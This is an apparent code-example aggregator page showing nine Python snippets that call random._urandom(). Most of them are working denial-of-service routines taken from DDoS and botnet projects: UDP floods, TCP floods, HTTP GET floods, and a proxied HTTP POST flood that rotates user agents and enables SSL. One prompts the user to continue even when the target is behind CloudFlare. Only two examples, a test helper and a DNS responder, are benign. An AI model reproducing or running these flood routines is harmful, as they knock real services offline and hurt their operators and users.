Python random._urandom() Examples
The following are 9
code examples of random._urandom().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
random
, or try the search function
.
Example #1
Source File: LITEDDOS.py From LITEDDOS with Apache License 2.0 | 6 votes |
def flood(victim, vport, duration): # Support us yaakk... :) # Okey Jadi disini saya membuat server, Ketika saya memanggil "SOCK_DGRAM" itu menunjukkan UDP type program client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 20000 representasi satu byte ke server bytes = random._urandom(20000) timeout = time.time() + duration sent = 3000 while 1: if time.time() > timeout: break else: pass client.sendto(bytes, (victim, vport)) sent = sent + 1 print "\033[1;91mMemulai \033[1;32m%s \033[1;91mmengirim paket \033[1;32m%s \033[1;91mpada port \033[1;32m%s "%(sent, victim, vport)
Example #2
Source File: cc.py From CC-attack with GNU General Public License v2.0 | 5 votes |
def post(event,socks_type): global data post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n" content = "Content-Type: application/x-www-form-urlencoded\r\n" refer = "Referer: http://"+ ip + url2 + "\r\n" user_agent = "User-Agent: " + random.choice(useragents) + "\r\n" accept = Choice(acceptall) if mode2 != "y": data = str(random._urandom(16)) # You can enable bring data in HTTP Header length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n" if cookies != "": length += "Cookies: "+str(cookies)+"\r\n" request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n" proxy = Choice(proxies).strip().split(":") event.wait() while True: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if brute: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(ip), int(port))) if str(port) == '443': # //AUTO Enable SSL MODE :) ctx = ssl.SSLContext() s = ctx.wrap_socket(s,server_hostname=ip) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() print ("[*] Post Flooding from | "+str(proxy[0])+":"+str(proxy[1])) except: s.close()
Example #3
Source File: bot.py From Python3-Botnet with GNU General Public License v3.0 | 5 votes |
def UDP(ip, port, size): global stop while True: if stop : break udpbytes = random._urandom(int(size)) sendip=(str(ip),int(port)) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: for y in range(thread): s.sendto(udpbytes, sendip) s.close() except: s.close()
Example #4
Source File: test_spool.py From pyspool with Apache License 2.0 | 5 votes |
def _get_file_hash(self): title = ''.join([random.choice(ascii_letters) for i in range(10)]) with open('/tmp/test', 'w') as f: f.write(random._urandom(100)) f = File('/tmp/test', testnet=True, title=title) return f.file_hash, f.file_hash_metadata
Example #5
Source File: client.py From Aoyama with GNU General Public License v2.0 | 5 votes |
def UDP(ip, port, size):#udp flood(best size is 512-1024, if size too big router may filter it) global stop while True: if stop : break sendip=(str(ip),int(port)) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: for y in range(200): udpbytes = random._urandom(int(size)) s.sendto(udpbytes, sendip) s.close() except: s.close()
Example #6
Source File: ServerGTPU.py From pycrate with GNU Lesser General Public License v2.1 | 5 votes |
def handle_ul(self, ipbuf): # check if we have an UDP/53 request ip_vers, ip_proto, (udpsrc, udpdst) = \ ord(ipbuf[0:1])>>4, ord(ipbuf[9:10]), unpack('!HH', ipbuf[20:24]) if ip_vers != 4 or ip_proto != 53 or udp_dst != 53: # not IPv4, not UDP or not on DNS port 53 return # build the UDP / DNS response: invert src / dst UDP ports if self.UDP_CS: udp = UDP(val={'src':udpdst, 'dst':udpsrc}, hier=1) else: udp = UDP(val={'src':udpdst, 'dst':udpsrc, 'cs':0}, hier=1) # DNS request: transaction id, flags, questions, queries dnsreq = ipbuf[28:] transac_id, questions, queries = dnsreq[0:2], \ unpack('!H', dnsreq[4:6])[0], \ dnsreq[12:] if questions > 1: # not supported self._log('WNG', '%i questions, unsupported' % questions) # DNS response: transaction id, flags, questions, answer RRs, # author RRs, add RRs, queries, answers, autor nameservers, add records if self.RAND: ip_resp = _urandom(4) else: ip_resp = inet_aton(self.IP_RESP) dnsresp = b''.join((transac_id, b'\x81\x80\0\x01\0\x01\0\0\0\0', queries, b'\xc0\x0c\0\x01\0\x01\0\0\0\x20\0\x04', ip_resp)) # build the IPv4 header: invert src / dst addr ipsrc, ipdst = inet_ntoa(ipbuf[12:16]), inet_ntoa(ipbuf[16:20]) iphdr = IPv4(val={'src':ipdst, 'dst':ipsrc}, hier=0) # pkt = Envelope('p', GEN=(iphdr, udp, Buf('dns', val=dnsresp, hier=2))) # send back the DNS response self.GTPUd.transfer_v4_to_int(pkt.to_bytes()) if self.DEBUG: self.GTPUd._log('DBG', '[DNSRESP] DNS response sent')
Example #7
Source File: udp.py From quack with MIT License | 4 votes |
def UDP_ATTACK(threads, attack_time, target): # Finish global FINISH FINISH = False target_ip = target.split(":")[0] target_port = int(target.split(":")[1]) print("\033[1;34m"+"[*]"+"\033[0m"+" Starting UDP attack...") threads_list = [] # UDP flood def udp_flood(): global FINISH # Create socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: if FINISH: break # Send random payload try: for _ in range(16): payload = random._urandom(random.randint(1, 60)) sock.sendto(payload, (target_ip, target_port)) except Exception as e: print(e) else: print("\033[1;32m"+"[+]"+"\033[0m"+" UDP packet with size " + str(len(payload)) + " was sent!") # Start threads for thread in range(threads): print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread)+ "...") t = Thread(target = udp_flood) t.start() threads_list.append(t) # Sleep selected secounds time.sleep(attack_time) # Terminate threads for thread in threads_list: FINISH = True thread.join() print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.")
Example #8
Source File: tcp.py From quack with MIT License | 4 votes |
def TCP_ATTACK(threads, attack_time, target): # Finish global FINISH FINISH = False target_ip = target.split(":")[0] target_port = int(target.split(":")[1]) print("\033[1;34m"+"[*]"+"\033[0m"+" Starting TCP attack...") threads_list = [] # TCP flood def tcp_flood(): global FINISH while True: if FINISH: break # Create socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) except Exception as e: print(e) print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to create TCP connection!") exit() # Send random payload try: for _ in range(16): payload = random._urandom(random.randint(1, 120)) sock.send(payload) except Exception as e: print(e) time.sleep(0.25) continue else: print("\033[1;32m"+"[+]"+"\033[0m"+" TCP packet with size " + str(len(payload)) + " was sent!") # Start threads for thread in range(threads): print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") t = Thread(target = tcp_flood) t.start() threads_list.append(t) # Sleep selected secounds time.sleep(attack_time) # Terminate threads for thread in threads_list: FINISH = True thread.join() print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.")
Example #9
Source File: http.py From quack with MIT License | 4 votes |
def HTTP_ATTACK(threads, attack_time, target): # Finish global FINISH FINISH = False if ipTools.isCloudFlare(target): print("\033[1;33m"+"[!]"+"\033[0m"+" This site is under CloudFlare protection.") if input("\033[1;77m"+"[?]"+"\033[0m"+" Continue HTTP attack? (y/n): ").strip(" ").lower() != "y": exit() print("\033[1;34m"+"[*]"+"\033[0m"+" Starting HTTP attack...") threads_list = [] # Load 25 random user agents user_agents = [] for _ in range(threads): user_agents.append( randomData.random_useragent() ) # HTTP flood def http_flood(): global FINISH while True: if FINISH: break payload = str(random._urandom(random.randint(1, 30))) headers = { "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Accept-Encoding": "gzip, deflate, br", "User-agent": random.choice(user_agents) } try: r = requests.get(target, params = payload) except Exception as e: print(e) time.sleep(2) else: print("\033[1;32m"+"[+]"+"\033[0m"+" HTTP packet with size " + str(len(payload)) + " was sent!") # Start threads for thread in range(0, threads): print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...") t = Thread(target = http_flood) t.start() threads_list.append(t) # Sleep selected secounds time.sleep(attack_time) # Terminate threads for thread in threads_list: FINISH = True thread.join() print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.")